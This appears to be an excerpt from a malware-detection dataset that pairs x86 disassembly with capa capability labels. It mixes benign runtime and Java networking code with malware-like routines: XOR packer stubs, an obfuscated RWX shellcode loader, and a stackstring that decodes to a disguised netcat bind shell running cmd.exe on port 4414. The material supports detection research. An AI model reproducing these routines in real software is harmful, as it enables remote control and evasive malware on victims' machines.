joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401182
Capabilities:
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov eax, dword [0x405014]
sub eax, 4
mov dword [0x405018], eax
push 0x3ff
push 0x40b688
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4011b6
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x405018]
shl eax, 1
mov dword [0x405014], eax
push 0x40b688
call section..text
pop ecx
mov dword [ebp - 4], eax
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x40b688
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xac], eax
mov eax, dword [0x405014]
sub eax, 4
mov dword [0x405018], eax
cmp dword [ebp - 0xac], 0xffffffff
je 0x401392
mov eax, dword [0x405018]
shl eax, 1
mov dword [0x405014], eax
push 2
push 0
push 0xfffffffffffffff0
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [0x405018]
add eax, 8
mov dword [0x405018], eax
push 0
lea eax, [ebp - 8]
push eax
push 4
push 0x40ba90
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0x98]
push eax
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x405018]
shl eax, 1
mov dword [0x405014], eax
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0x94]
push eax
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x405018]
add eax, 7
mov dword [0x405014], eax
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x405014]
imul eax, eax, 0x63
mov dword [0x405014], eax
push dword [ebp - 0xc]
push dword [ebp - 0x94]
push dword [ebp - 0x98]
push dword [0x40ba90]
push str._d__d__d__d
lea eax, [ebp - 0x8c]
push eax
call fcn.00403724
add esp, 0x18
cmp dword [ebp - 0xc], 0x221c
jne 0x40134f
push 0x40ba98
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x94]
mov dword [0x40500c], eax
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
mov eax, dword [ebp - 0x98]
mov dword [0x405008], eax
mov eax, dword [0x405018]
add eax, 7
mov dword [0x405014], eax
jmp 0x40136b
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x405018]
shl eax, 1
mov dword [0x405014], eax
push dword [ebp - 0xac]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x405018]
shl eax, 3
mov dword [0x405018], eax
jmp 0x4013a7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x405018]
add eax, 7
mov dword [0x405014], eax
leave
ret
Function at 0x14d0fa28
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push dword [ebp + 8]
mov dword [ebp - 8], 4
mov dword [ebp - 0xc], ebx
call dword [0x14d12300]
test eax, eax
je 0x14d0fb16
cmp dword [ebp - 0xc], 0xc8
jne 0x14d0fb16
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [0x14d12158]
mov esi, eax
cmp esi, 0xffffffff
je 0x14d0fb16
mov byte [ebp - 1], bl
push ebx
push dword [ebp + 0x10]
call dword [0x14d12150]
test eax, eax
je 0x14d0fabc
lea eax, [ebp - 8]
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
call dword [0x14d122ec]
test eax, eax
jne 0x14d0fac0
mov byte [ebp - 1], 1
cmp dword [ebp - 8], ebx
je 0x14d0faf0
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x210]
push eax
push esi
call dword [0x14d12190]
test eax, eax
je 0x14d0fae7
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 8]
je 0x14d0faeb
mov byte [ebp - 1], 1
cmp byte [ebp - 1], bl
je 0x14d0fa91
push esi
call dword [0x14d121a0]
push esi
call dword [0x14d12140]
cmp byte [ebp - 1], bl
je 0x14d0fb0c
push dword [ebp + 0xc]
call fcn.14d0eab6
pop ecx
xor eax, eax
cmp byte [ebp - 1], bl
sete al
jmp 0x14d0fb18
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4015b0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0xb4
call fcn.00401790
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x4c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x7f], 0x65535349
mov dword [ebp - 0x7b], 0x63697672
mov dword [ebp - 0x77], 0x78652e65
mov dword [ebp - 0x73], 0x4c2d2065
mov dword [ebp - 0x6f], 0x3420706e
mov dword [ebp - 0x6b], 0x2d203431
mov dword [ebp - 0x67], 0x6d632065
mov dword [ebp - 0x63], 0x78652e64
mov dword [ebp - 0x60], 0x6578
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000008
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x7f]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp + 8], 0x23
mov dword [esp + 4], 0
lea eax, [ebp - 0x7f]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401950
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004026c0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004026c0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x4019b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406074]
test esi, esi
jle 0x401ad0
mov eax, dword [0x406078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4019e4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401a67
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4019d0
mov dword [esp], ebx
call fcn.004023a0
mov edi, eax
test eax, eax
je 0x401af7
mov eax, dword [0x406078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.004024e0
mov edx, dword [0x406078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ad7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401a60
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401a70
add dword [0x406074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401a60
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401950
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4019ee
mov eax, dword [0x406078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401950
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401950
lea esi, [esi]
nop

Function at 0x402010
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406088]
sub esp, 4
test ebx, ebx
je 0x402065
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40205e
test esi, esi
je 0x40205e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402040
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4023a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4023c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4023d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4023c5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402418
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40240e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40241a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402400
xor eax, eax
pop ebx
pop esi
ret
Function at 0x487ea4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a1d90]
jne 0x487eae
repz ret
jmp fcn.0048c7d7

Function at 0x48a824
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a1d90]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00484ec2
and dword [ebp - 0x14], 0
cmp dword [0x4a44b4], 0
mov dword [ebp - 0x18], eax
jne 0x48a8d7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x48a97f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x48a97f
mov esi, dword [fcn.00480b90]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4a44b4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4a44b8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4a44bc], eax
call edi
push eax
call esi
mov dword [0x4a44c4], eax
test eax, eax
je 0x48a8d7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4a44c0], eax
mov eax, dword [0x4a44c0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.00480b94]
cmp eax, ecx
je 0x48a930
cmp dword [0x4a44c4], ecx
je 0x48a930
push eax
call esi
push dword [0x4a44c4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x48a930
test ebx, ebx
je 0x48a930
call edi
test eax, eax
je 0x48a927
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x48a927
test byte [ebp - 8], 1
jne 0x48a930
or dword [ebp + 0x10], 0x200000
jmp 0x48a963
mov eax, dword [0x4a44b8]
cmp eax, dword [ebp - 0x18]
je 0x48a963
push eax
call esi
test eax, eax
je 0x48a963
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x48a963
mov eax, dword [0x4a44bc]
cmp eax, dword [ebp - 0x18]
je 0x48a963
push eax
call esi
test eax, eax
je 0x48a963
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4a44b4]
call esi
test eax, eax
je 0x48a97f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x48a981
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00487ea4
leave
ret
Function at 0x6d66423b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x6d66424a
pop dword [ebp - 0xc]
mov eax, 0x107fa2e4
add eax, 0x5ce69f66
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xb8dd8aa7
sub dword [ebp - 0x1c], 0x6a8b455c
mov dword [ebp - 0x18], 0x35982889
sub dword [ebp - 0x18], 0x364dc44
mov dword [ebp - 0x14], 0x8fe93305
sub dword [ebp - 0x14], 0x439ceed7
mov dword [ebp - 0x10], 0x8aee92d6
add dword [ebp - 0x10], 0x75116d2a
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x240437a2
add dword [ebp - 0x1c], 0x506e31b4
mov dword [ebp - 0x18], 0x7fe0e54d
add dword [ebp - 0x18], 0xc18b7c28
mov dword [ebp - 0x14], 0xd0a82f05
sub dword [ebp - 0x14], 0x6d38c299
mov dword [ebp - 0x10], 0xf281cd5f
add dword [ebp - 0x10], 0xd7e32a1
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x7e951017
sub eax, 0x112e4fcb
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x35a74
push 0
call eax
mov ecx, 0x16db61d3
sub ecx, 0x16db1ffd
mov edi, eax
mov edx, 0x6d674000
add edx, dword [ebp - 0xc]
mov esi, 0xa26375f
add esi, 0x6950a070
xor dword [ebp - 4], ecx
mov ebx, dword [edx]
add ebx, esi
add dword [ebp - 4], edx
mov dword [edi], ebx
mov dword [ebp - 4], 0xf00234a0
add edi, 0x1e72be29
sub edi, 0x1e72be25
add edx, 0x5cea1517
sub edx, 0x5cea1513
loop 0x6d664361
add eax, 0x975f849a
add eax, 0x68a17591
mov ebx, eax
add eax, 0x1656aed7
add eax, 0xe9a9512e
mov ecx, 0x1c41a622
sub ecx, 0xaedba622
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x6d665180
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [0x6d6715b4]
mov esi, dword [ebp + 8]
push dword [ebp + 0xc]
mov eax, dword [esi]
push esi
call dword [eax + 0x17c]
mov dword [ebp + 8], eax
test eax, eax
jne 0x6d6651b6
push str.null_fd_object
push str.java_net_SocketException
push esi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x6d6652b0
xor eax, eax
cmp byte [ebp + 0x10], al
push ebx
mov ebx, dword [sym.imp.ws2_32.dll_socket]
sete al
push 0
inc eax
push eax
push 2
mov dword [ebp - 4], eax
call ebx
mov dword [ebp + 0x10], eax
cmp eax, 0xffffffff
jne 0x6d6651ea
push str.create
push esi
call fcn.6d663a00
pop ecx
pop ecx
jmp 0x6d6652af
push edi
mov edi, dword [sym.imp.kernel32.dll_SetHandleInformation]
push 0
push 1
push eax
call edi
push dword [ebp + 0x10]
mov eax, dword [esi]
push dword [0x6d67117c]
push dword [ebp + 8]
push esi
call dword [eax + 0x1b4]
call sym.net.dll__ipv6_available_0
test eax, eax
mov eax, dword [esi]
je 0x6d66529c
push dword [0x6d6715a8]
push dword [ebp + 0xc]
push esi
call dword [eax + 0x17c]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x6d665245
push str.null_fd1_object
push str.java_net_SocketException
push esi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x6d665262
push 0
push dword [ebp - 4]
push 0x17
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x6d665280
push str.create
push esi
call fcn.6d663a00
pop ecx
pop ecx
mov eax, dword [esi]
push 0xffffffffffffffff
push dword [0x6d67117c]
push dword [ebp + 8]
push esi
call dword [eax + 0x1b4]
push dword [ebp + 0x10]
call sym.net.dll__NET_InetAddressToSockaddr_24
jmp 0x6d6652ae
push 0
push 1
push ebx
call edi
mov eax, dword [esi]
push ebx
push dword [0x6d67117c]
push dword [ebp + 0xc]
push esi
call dword [eax + 0x1b4]
jmp 0x6d6652ae
push 0
push dword [0x6d6715a8]
push dword [ebp + 0xc]
push esi
call dword [eax + 0x1a0]
pop edi
pop ebx
pop esi
leave
ret 0xc
Function at 0x6d6662df
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x28], eax
call fcn.6d664fdf
push edi
mov ebx, eax
call fcn.6d66500b
pop ecx
pop ecx
test ebx, ebx
jns 0x6d66633c
test eax, eax
jns 0x6d66633a
push str.Socket_closed
push str.java_net_SocketException
push esi
call sub.java.dll__JNU_ThrowByName_12
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d66b1da
leave
ret 0x10
mov ebx, eax
cmp dword [ebp + 0x10], 0xf
jne 0x6d6663d1
mov dword [ebp - 0x30], 0x1c
cmp ebx, 0xffffffff
jne 0x6d66635b
push edi
call fcn.6d66500b
pop ecx
mov ebx, eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.ws2_32.dll_getsockname]
test eax, eax
jns 0x6d666383
push str.Error_getting_socket_name
push str.java_net_SocketException
push esi
call sym.net.dll__NET_InetAddressToSockaddr_24
add esp, 0xc
jmp 0x6d666326
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
call sym.net.dll__NET_InetAddressToSockaddr_24
mov edi, eax
test edi, edi
je 0x6d666326
push dword [ebp - 0x28]
mov eax, dword [esi]
push esi
call dword [eax + 0x7c]
mov ecx, dword [esi]
push str.Ljava_net_InetAddress_
push str.addr
push eax
push esi
call dword [ecx + 0x178]
test eax, eax
je 0x6d666326
mov ecx, dword [esi]
push edi
push eax
push dword [ebp - 0x28]
push esi
call dword [ecx + 0x1a0]
xor eax, eax
jmp 0x6d666329
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 0x10]
call sym.net.dll__NET_MapSocketOption_12
test eax, eax
je 0x6d6663ef
push str.Invalid_option
jmp 0x6d66631b
mov edi, 0x80
mov dword [ebp - 0x2c], 4
cmp dword [ebp + 0x10], edi
je 0x6d666404
and dword [ebp - 0x24], 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call sym.net.dll__NET_InetAddressToSockaddr_24
test eax, eax
jns 0x6d66642e
push str.getsockopt
push esi
call fcn.6d663a00
pop ecx
pop ecx
jmp 0x6d666326
mov eax, dword [ebp + 0x10]
cmp eax, 8
jg 0x6d66644c
je 0x6d666465
dec eax
je 0x6d666465
dec eax
dec eax
je 0x6d666476
dec eax
je 0x6d666465
push str.Option_not_supported_by_TwoStacksPlainSocketImpl
jmp 0x6d66631b
cmp eax, edi
je 0x6d66647e
cmp eax, 0x1000
jle 0x6d666442
cmp eax, 0x1002
jle 0x6d666476
cmp eax, 0x1003
jne 0x6d666442
xor eax, eax
cmp dword [ebp - 0x24], eax
setne al
lea eax, [eax + eax - 1]
jmp 0x6d666329
mov eax, dword [ebp - 0x24]
jmp 0x6d666329
cmp word [ebp - 0x24], 0
je 0x6d666326
movzx eax, word [ebp - 0x22]
jmp 0x6d666329
Function at 0x6d6664df
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push dword [0x6d6715b4]
mov esi, dword [esp + 0xc]
push dword [esp + 0x10]
mov eax, dword [esi]
push esi
call dword [eax + 0x17c]
test eax, eax
jne 0x6d666507
push str.Socket_closed
push str.java_net_SocketException
jmp 0x6d66654c
push dword [0x6d67117c]
mov ecx, dword [esi]
push eax
push esi
call dword [ecx + 0x190]
cmp eax, 0xffffffff
je 0x6d6664fb
push 1
push 1
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
jne 0x6d666540
push str.send
push esi
call fcn.6d663a00
pop ecx
pop ecx
jmp 0x6d666552
cmp eax, 0xfffffffe
jne 0x6d666552
push 0
push str.java_io_InterruptedIOException
push esi
call sub.java.dll__JNU_ThrowByName_12
pop esi
ret 0xc

Function at 0x6d66659a
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
xor eax, eax
cmp byte [ebp + 0x10], al
push esi
sete al
push 0
inc eax
push eax
push 0x17
call fcn.6d66465c
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
jne 0x6d6665d8
push str.create
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [ebp + 8]
call sym.net.dll__NET_InetAddressToSockaddr_24
or eax, esi
jmp 0x6d66660f
push 4
lea eax, [ebp - 4]
push eax
push 0x1b
push 0x29
push esi
call dword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x6d666602
push str.create
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [ebp + 8]
call sym.net.dll__NET_InetAddressToSockaddr_24
push 0
push 1
push esi
call dword [sym.imp.kernel32.dll_SetHandleInformation]
mov eax, esi
pop esi
leave
ret 0x10

Function at 0x6d66667f
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push 1
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp + 0x18]
mov dword [ebp - 0x24], 0x1c
push eax
push esi
call sym.net.dll__NET_InetAddressToSockaddr_24
test eax, eax
jne 0x6d666701
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x6d666704
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x6d6666dc
push 0xfffffffffffffffe
pop eax
jmp 0x6d666704
cmp eax, 0x2741
jne 0x6d6666f5
push str.connect:_Address_is_invalid_on_local_machine__or_port_is_not_valid_on_remote_machine
push str.java_net_ConnectException
push esi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x6d666701
push str.connect
push eax
push esi
call sym.net.dll__NET_InetAddressToSockaddr_24
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.6d66b1da
leave
ret 0x14